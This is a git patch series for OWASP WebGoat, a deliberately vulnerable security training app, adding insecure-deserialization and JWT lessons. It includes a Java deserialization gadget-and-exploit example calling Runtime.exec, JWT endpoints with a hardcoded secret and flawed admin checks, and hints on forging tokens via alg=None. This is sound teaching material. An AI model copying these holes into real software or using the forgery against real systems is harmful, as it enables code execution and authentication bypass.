very inportant tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. + +== Goals +* The user should have a basic understanding of packet sniffer usage +* The user will be able to intercept and read an unencrypted requests \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc new file mode 100755 index 0000000000..c8ba418d77 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc @@ -0,0 +1,9 @@ +=== Let's try +Click the "log in" button to send a request containing login credentials of another user. + +``` +rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l +``` + +Then, write these credentials into the appropriate fields and submit to confirm. +Try using a packet sniffer to intercept the request. diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index fb6c018615..63dca5f485 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -22,6 +22,7 @@ http-basics http-proxies insecure-login + insecure-deserialization jwt sql-injection xxe diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index 483c3a0b61..5bd46135d8 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -145,6 +145,11 @@ insecure-login ${project.version} + + org.owasp.webgoat.lesson + insecure-deserialization + ${project.version} + org.owasp.webgoat.lesson jwt From 93d6d0e6b7050b8ca5b4b380fa1bd724f5ba9818 Mon Sep 17 00:00:00 2001 From: Jose Selvi Date: Tue, 22 May 2018 10:24:34 +0200 Subject: [PATCH 50/76] Added lesson texts --- .../html/InsecureDeserialization.html | 15 ++++-- .../InsecureDeserialization_GadgetChain.adoc | 5 ++ .../en/InsecureDeserialization_Intro.adoc | 9 ++-- ...InsecureDeserialization_SimpleExploit.adoc | 46 +++++++++++++++++++ .../en/InsecureDeserialization_Task.adoc | 5 +- .../en/InsecureDeserialization_WhatIs.adoc | 23 ++++++++++ 6 files changed, 94 insertions(+), 9 deletions(-) create mode 100644 webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc create mode 100644 webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc create mode 100644 webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html b/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html index 238a2a04f8..5bdb4cd5ac 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html @@ -3,12 +3,21 @@
- -
+
+
+
+ +
+
+
+ +
+
+
+
diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc new file mode 100644 index 0000000000..f5c5363d3d --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc @@ -0,0 +1,5 @@ +== What is a Gadgets Chain + +It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserializaded, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain". + +Finding gadgets to build gadget chains is an active topic for security researchers. This kind of research usually requires to spend a big amount of time reading code. \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc index f4fac84711..60882a9f44 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc @@ -1,7 +1,10 @@ == Concept -Encryption is a very inportant tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. + +This lesson describes what is Serialization and how it can be manipulated to perform tasks that were not the original intent of the developer. == Goals -* The user should have a basic understanding of packet sniffer usage -* The user will be able to intercept and read an unencrypted requests \ No newline at end of file +* The user should have a basic understanding of Java programming language +* The user will be able to detect insecure deserialization vulnerabilities +* The user will be able to exploit insecure deserialization vulnerabilities +* Exploiting deserialization is slightly different in other programming languages such as PHP or Python, but the key concepts learnt here also applies to all of them \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc new file mode 100644 index 0000000000..d9c2b739dd --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc @@ -0,0 +1,46 @@ +== The Simplest Exploit + +=== Vulnerable code + +The following is a well-known example for a Java Deserialization vulnerability. + +[source,java] +---- +InputStream is = request.getInputStream(); +ObjectInputStream ois = new ObjectInputStream(is); +AcmeObject acme = (AcmeObject)ois.readObject(); +---- + +It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting ocurs. +If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to performe those actions. + +=== Class included in ClassPath + +Attackers need to find a class in the classpath that supports serialization and with dangerous implementations on `readObject()`. + +[source,java] +---- +public class GadgetObject implements Serializable { + String cmd; + + private void readObject( ObjectInputStream stream ) throws Exception { + Runtime.getRuntime().exec(cmd); + } +} +---- + +=== Exploit + +If the java class shown above exists, attackers can serialize that object and obtain Remote Code Execution. + +[source,java] +---- +GadgetObject go = new GadgetObject(); +go.cmd = "touch /tmp/pwned.txt"; + +ByteArrayOutputStream bos = new ByteArrayOutputStream(); +ObjectOutputStream oos = new ObjectOutputStream(bos); +oos.writeObject(go); +oos.flush(); +byte[] exploit = bos.toByteArray(); +---- \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc index c8ba418d77..6e65617a7c 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc @@ -1,9 +1,8 @@ === Let's try -Click the "log in" button to send a request containing login credentials of another user. +The following input box receives a serialized object (a string) and it deserialzes it. ``` rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l ``` -Then, write these credentials into the appropriate fields and submit to confirm. -Try using a packet sniffer to intercept the request. +Try to change this serialized object in order to delay the page response for exactly 5 seconds. \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc new file mode 100644 index 0000000000..0d325f78ea --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc @@ -0,0 +1,23 @@ +== What is Serialization + +Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML. + +---- +a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} +---- + +=== Native Serialization + +Many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks. + +=== Known Affected Programming Languages +* PHP +* Python +* Ruby +* Java +* C +* C++ + +=== Data, not Code + +ONLY data is serialized. Code is not serialized itself. Deserialization creates a new object and copies all the data from the byte stream, in order to obtain and object identical to the object that was serialized. \ No newline at end of file From 5378d72600dccce8f2777bcf9c411e504ab717ad Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 23 May 2018 14:04:21 +0200 Subject: [PATCH 51/76] Change version in pom.xml --- webgoat-lessons/insecure-deserialization/pom.xml | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/webgoat-lessons/insecure-deserialization/pom.xml b/webgoat-lessons/insecure-deserialization/pom.xml index 0c7e172d1a..f076d0e3b9 100755 --- a/webgoat-lessons/insecure-deserialization/pom.xml +++ b/webgoat-lessons/insecure-deserialization/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 @@ -21,13 +21,6 @@ 4.1.3.RELEASE test - - junit - junit - ${junit.version} - jar - test - From 63ca11a1bb48f0f64140a7d39fd7b1735d1bbda8 Mon Sep 17 00:00:00 2001 From: Ryan Thomas Date: Tue, 22 May 2018 17:36:59 -0700 Subject: [PATCH 52/76] Change WebWolf to WebGoat The links for the WebGoat download were mislabeled as WebWolf --- README.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.MD b/README.MD index d0ff4809e1..9c14208012 100644 --- a/README.MD +++ b/README.MD @@ -67,7 +67,7 @@ _Please note: this version may not be completely in sync with the develop branch ## 2. Standalone -Download the latest WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) +Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) ```Shell java -jar webgoat-server-<>.jar From ea9c1a453db30b0e549a2258927c233c0e5e25c7 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 23 Apr 2018 11:09:30 +0200 Subject: [PATCH 53/76] Initial version for JWT --- .gitignore | 3 + .../webgoat/lessons/LessonInfoModel.java | 1 - .../src/main/resources/application.properties | 4 +- .../webgoat/plugin/CSRFConfirmFlag1.java | 3 - .../resources/lessonPlans/en/CSRF_JSON.adoc | 2 +- webgoat-lessons/jwt/pom.xml | 14 ++ .../webgoat/plugin/JWTSecretKeyEndpoint.java | 40 +++++ .../webgoat/plugin/JWTVotesEndpoint.java | 152 ++++++++++++++++++ .../org/owasp/webgoat/plugin/votes/Views.java | 16 ++ .../org/owasp/webgoat/plugin/votes/Vote.java | 54 +++++++ .../jwt/src/main/resources/css/jwt.css | 12 ++ .../jwt/src/main/resources/html/JWT.html | 104 +++++++++--- .../resources/i18n/WebGoatLabels.properties | 10 ++ .../src/main/resources/images/jwt_diagram.png | Bin 0 -> 82452 bytes .../src/main/resources/images/jwt_token.png | Bin 0 -> 73915 bytes .../jwt/src/main/resources/js/jwt-signing.js | 87 ++++++++++ .../lessonPlans/en/JWT_content1.adoc | 1 - .../lessonPlans/en/JWT_login_to_token.adoc | 19 +++ .../resources/lessonPlans/en/JWT_plan.adoc | 3 +- .../resources/lessonPlans/en/JWT_refresh.adoc | 86 ++++++++++ .../resources/lessonPlans/en/JWT_signing.adoc | 21 +++ .../resources/lessonPlans/en/JWT_storing.adoc | 35 ++++ .../lessonPlans/en/JWT_structure.adoc | 39 +++++ .../resources/lessonPlans/en/JWT_weak_keys | 13 ++ .../src/main/resources/application.properties | 2 - 25 files changed, 688 insertions(+), 33 deletions(-) create mode 100644 webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java create mode 100644 webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java create mode 100644 webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java create mode 100644 webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java create mode 100644 webgoat-lessons/jwt/src/main/resources/css/jwt.css create mode 100644 webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png create mode 100644 webgoat-lessons/jwt/src/main/resources/images/jwt_token.png create mode 100644 webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js delete mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys diff --git a/.gitignore b/.gitignore index 917e56a8c7..85137d053b 100644 --- a/.gitignore +++ b/.gitignore @@ -42,4 +42,7 @@ webgoat-lessons/**/target **/.DS_Store webgoat-server/mongo-data/* webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml +**/.sts4-cache/* +**/.vscode/* + /.sonatype \ No newline at end of file diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java index 3a3d0f9f76..4a7bab3a7c 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java @@ -2,7 +2,6 @@ import lombok.AllArgsConstructor; import lombok.Getter; -import org.owasp.webgoat.session.WebSession; /** *

LessonInfoModel class.

diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index 35b177ddde..431dbba990 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -11,8 +11,8 @@ spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver -logging.level.org.springframework=WARN -logging.level.org.springframework.boot.devtools=WARN +logging.level.org.springframework=INFO +logging.level.org.springframework.boot.devtools=INFO logging.level.org.owasp=DEBUG logging.level.org.owasp.webgoat=TRACE diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java index 03ca8d239e..5710a799e2 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java @@ -6,12 +6,9 @@ import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; -import javax.servlet.http.HttpServletRequest; - /** * Created by jason on 9/29/17. */ diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc index bcf7be9497..41e8e3d4c0 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc @@ -3,7 +3,7 @@ A lot of web applications implement no protection against CSRF they are somehow protected by the fact that they only work with `application/json` as content type. The only way to make a request with this content-type from the browser is with a XHR request. Before the browser can make such a request a preflight request will be made towards -the server (remember the CSRF request will be cross origin). If the preflight response does not allow the cross origin +the server (remember the CSRF request will be cross origin). If the pre-flight response does not allow the cross origin request the browser will not make the call. To make a long answer short: this is *not* a valid protection against CSRF. diff --git a/webgoat-lessons/jwt/pom.xml b/webgoat-lessons/jwt/pom.xml index e03c3385ef..a2a5843c5a 100644 --- a/webgoat-lessons/jwt/pom.xml +++ b/webgoat-lessons/jwt/pom.xml @@ -9,4 +9,18 @@ v8.0.0.M14 + + + io.jsonwebtoken + jjwt + 0.7.0 + + + org.springframework.security + spring-security-test + 4.1.3.RELEASE + test + + + diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java new file mode 100644 index 0000000000..ec99d43b59 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java @@ -0,0 +1,40 @@ +package org.owasp.webgoat.plugin; + +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.Jwts; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/secret") +@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3", "jwt-secret-hint4", "jwt-secret-hint5"}) +public class JWTSecretKeyEndpoint extends AssignmentEndpoint { + + private static final String JWT_SECRET = "victory"; + private static final String WEBGOAT_USER = "WebGoat"; + + @PostMapping() + public void login(@RequestParam String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJwt(token); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("username"); + + if (WEBGOAT_USER.equalsIgnoreCase(user)) { + trackProgress(success().build()); + } else { + trackProgress(failed().feedback("jwt-secret.not-correct").feedbackArgs(user).build()); + } + } catch (Exception e) { + trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build()); + } + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java new file mode 100644 index 0000000000..48419e0969 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java @@ -0,0 +1,152 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Maps; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.votes.Views; +import org.owasp.webgoat.plugin.votes.Vote; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.http.converter.json.MappingJacksonValue; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.PostConstruct; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import static java.util.Comparator.comparingLong; +import static java.util.Optional.ofNullable; +import static java.util.stream.Collectors.toList; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/votings") +@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"}) +public class JWTVotesEndpoint extends AssignmentEndpoint { + + private static final String JWT_PASSWORD = "victory"; + private static String validUsers = "TomJerrySylvester"; + + private static int totalVotes = 38929; + private Map votes = Maps.newHashMap(); + + @PostConstruct + public void initVotes() { + votes.put("Admin lost password", new Vote("Admin lost password", + "In this challenge you will need to help the admin and find the password in order to login", + "challenge1-small.png", "challenge1.png", 36000, totalVotes)); + votes.put("Vote for your favourite", + new Vote("Vote for your favourite", + "In this challenge ...", + "challenge5-small.png", "challenge5.png", 30000, totalVotes)); + votes.put("Get it for free", + new Vote("Get it for free", + "The objective for this challenge is to buy a Samsung phone for free.", + "challenge2-small.png", "challenge2.png", 20000, totalVotes)); + votes.put("Photo comments", + new Vote("Photo comments", + "n this challenge you can comment on the photo you will need to find the flag somewhere.", + "challenge3-small.png", "challenge3.png", 10000, totalVotes)); + } + + @GetMapping("/login") + public void login(@RequestParam("user") String user, HttpServletResponse response) { + if (validUsers.contains(user)) { + Map claims = Maps.newHashMap(); + claims.put("admin", "false"); + claims.put("user", user); + String token = Jwts.builder() + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Cookie cookie = new Cookie("access_token", token); + response.addCookie(cookie); + response.setStatus(HttpStatus.OK.value()); + } else { + Cookie cookie = new Cookie("access_token", ""); + response.addCookie(cookie); + response.setStatus(HttpStatus.UNAUTHORIZED.value()); + } + } + + @GetMapping + @ResponseBody + public MappingJacksonValue getVotes(@CookieValue(value = "access_token", required = false) String accessToken) { + MappingJacksonValue value = new MappingJacksonValue(votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList())); + if (StringUtils.isEmpty(accessToken)) { + value.setSerializationView(Views.GuestView.class); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if ("Guest".equals(user) || !validUsers.contains(user)) { + value.setSerializationView(Views.GuestView.class); + } + value.setSerializationView(isAdmin ? Views.AdminView.class : Views.UserView.class); + } catch (JwtException e) { + value.setSerializationView(Views.GuestView.class); + } + } + return value; + } + + @PostMapping(value = "{title}") + @ResponseBody + @ResponseStatus(HttpStatus.ACCEPTED) + public ResponseEntity vote(@PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if (!validUsers.contains(user)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); + return ResponseEntity.accepted().build(); + } + } catch (JwtException e) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } + } + + @PostMapping("reset") + public @ResponseBody AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (!isAdmin) { + votes.values().forEach(vote -> vote.reset()); + return trackProgress(failed().feedback("jwt-only-admin").build()); + } else { + votes.values().forEach(vote -> vote.reset()); + return trackProgress(success().build()); + } + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); + } + } + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java new file mode 100644 index 0000000000..4a790c9798 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java @@ -0,0 +1,16 @@ +package org.owasp.webgoat.plugin.votes; + +/** + * @author nbaars + * @since 4/30/17. + */ +public class Views { + public interface GuestView { + } + + public interface UserView extends GuestView { + } + + public interface AdminView extends UserView { + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java new file mode 100644 index 0000000000..ef79d5cd3f --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java @@ -0,0 +1,54 @@ +package org.owasp.webgoat.plugin.votes; + +import com.fasterxml.jackson.annotation.JsonView; +import lombok.Getter; +import lombok.Setter; + +/** + * @author nbaars + * @since 5/2/17. + */ +@Getter +public class Vote { + @JsonView(Views.GuestView.class) + private final String title; + @JsonView(Views.GuestView.class) + private final String information; + @JsonView(Views.GuestView.class) + private final String imageSmall; + @JsonView(Views.GuestView.class) + private final String imageBig; + @JsonView(Views.UserView.class) + private int numberOfVotes; + @JsonView(Views.AdminView.class) + @Setter + private String flag; + @JsonView(Views.UserView.class) + private boolean votingAllowed = true; + @JsonView(Views.UserView.class) + private long average = 0; + + + public Vote(String title, String information, String imageSmall, String imageBig, int numberOfVotes, int totalVotes) { + this.title = title; + this.information = information; + this.imageSmall = imageSmall; + this.imageBig = imageBig; + this.numberOfVotes = numberOfVotes; + this.average = calculateStars(totalVotes); + } + + public void incrementNumberOfVotes(int totalVotes) { + this.numberOfVotes = this.numberOfVotes + 1; + this.average = calculateStars(totalVotes); + } + + public void reset() { + this.numberOfVotes = 1; + this.average = 1; + } + + private long calculateStars(int totalVotes) { + return Math.round(((double) numberOfVotes / (double) totalVotes) * 4); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/css/jwt.css b/webgoat-lessons/jwt/src/main/resources/css/jwt.css new file mode 100644 index 0000000000..590e2a4b09 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/css/jwt.css @@ -0,0 +1,12 @@ +a.list-group-item { + height:auto; +} +a.list-group-item.active small { + color:#fff; +} +.stars { + margin:20px auto 1px; +} +.img-responsive { + min-width: 100%; +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index 242452f712..ff4c17f035 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -3,40 +3,102 @@
- -
-
- - -
- +
+
+
+
+
+
+
+ + + +
- - -
-
- - Enter Your Name: - +
+ +
+ +
+
+ +
+

Welcome back,

+
+
+ +
+

Vote for your favorite

+
+
+ +
+
+
- + +
-
+
+
+
+ +
+
+
+
+
+
+ +
+
+ +
+
+ +
+ +
+
+
+
\ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 9b9f75e31d..214fa1c5d7 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -1 +1,11 @@ jwt.title=JWT tokens (Under development) + +#Assignment changing tokens +jwt-user=You are logged in as {0}, but you are not an admin yet, please try again +jwt-invalid-token=Not a valid JWT token, please try again +jwt-only-admin=Only an admin user can reset the votes +jwt-change-token-hint1=Select a different user and look at the token you receive back, use the delete button to reset the votes count +jwt-change-token-hint2=Decode the token and look at the contents +jwt-change-token-hint3=Change the contents of the token and replace the cookie before sending the request for getting the votes +jwt-change-token-hint4=Change the admin field to true in the token +jwt-change-token-hint5=Submit the token by changing the algorithm to None and remove the signature \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png b/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png new file mode 100644 index 0000000000000000000000000000000000000000..cb70a6b668dbf05753dfb5975a6a625f95b5744e GIT binary patch literal 82452 zcmeEuXIPV2*DfH4f(jNu>57O_6)Doe0!Z(ngCZqBK&e6qp{UpZ73n1)y?2m=5U|l} zs0l?yIspZen1qBAocZQ;zLz=Y_qne5LrHn|dRD#nTK9gQm>B6CX5(dJU|=|WQ}?t3t8Zl|zPqbU3XlpSZ4P*H@YuW4=0{O^(;)LnTYu7oya5WigJ)VqYe&xN! za8sD|G%*t?yGeshFWp>UTV3mM1G|SVjKPcx!6l`or7a_uQ$rfyD)X`#^L?3iyz%Yv z&k^HG2NwwOqLacr{?W&td=Navt);-ssmZ|j-#=Q9KmK^z&f#6T!H3DN6#vb-u;#Pe z>9TG;DJ2Gv>x|I}OlkW(zdjKXPYHRce-kyu2323RSUkk@Ol|aZ(*34_YcX7+KYr>7ID471 zI`i#u)!mg$oSfUDSR5pdJ&F9N5`3iMN&As!O&?AjOuo{(alxZW%IXB7*xY8qSm*gk zQyb{aovcTlweB)&Lcv(Un`b9;91E;hbFANdL$${XHD%xOG22@c43SejDfP~6x&X_~ 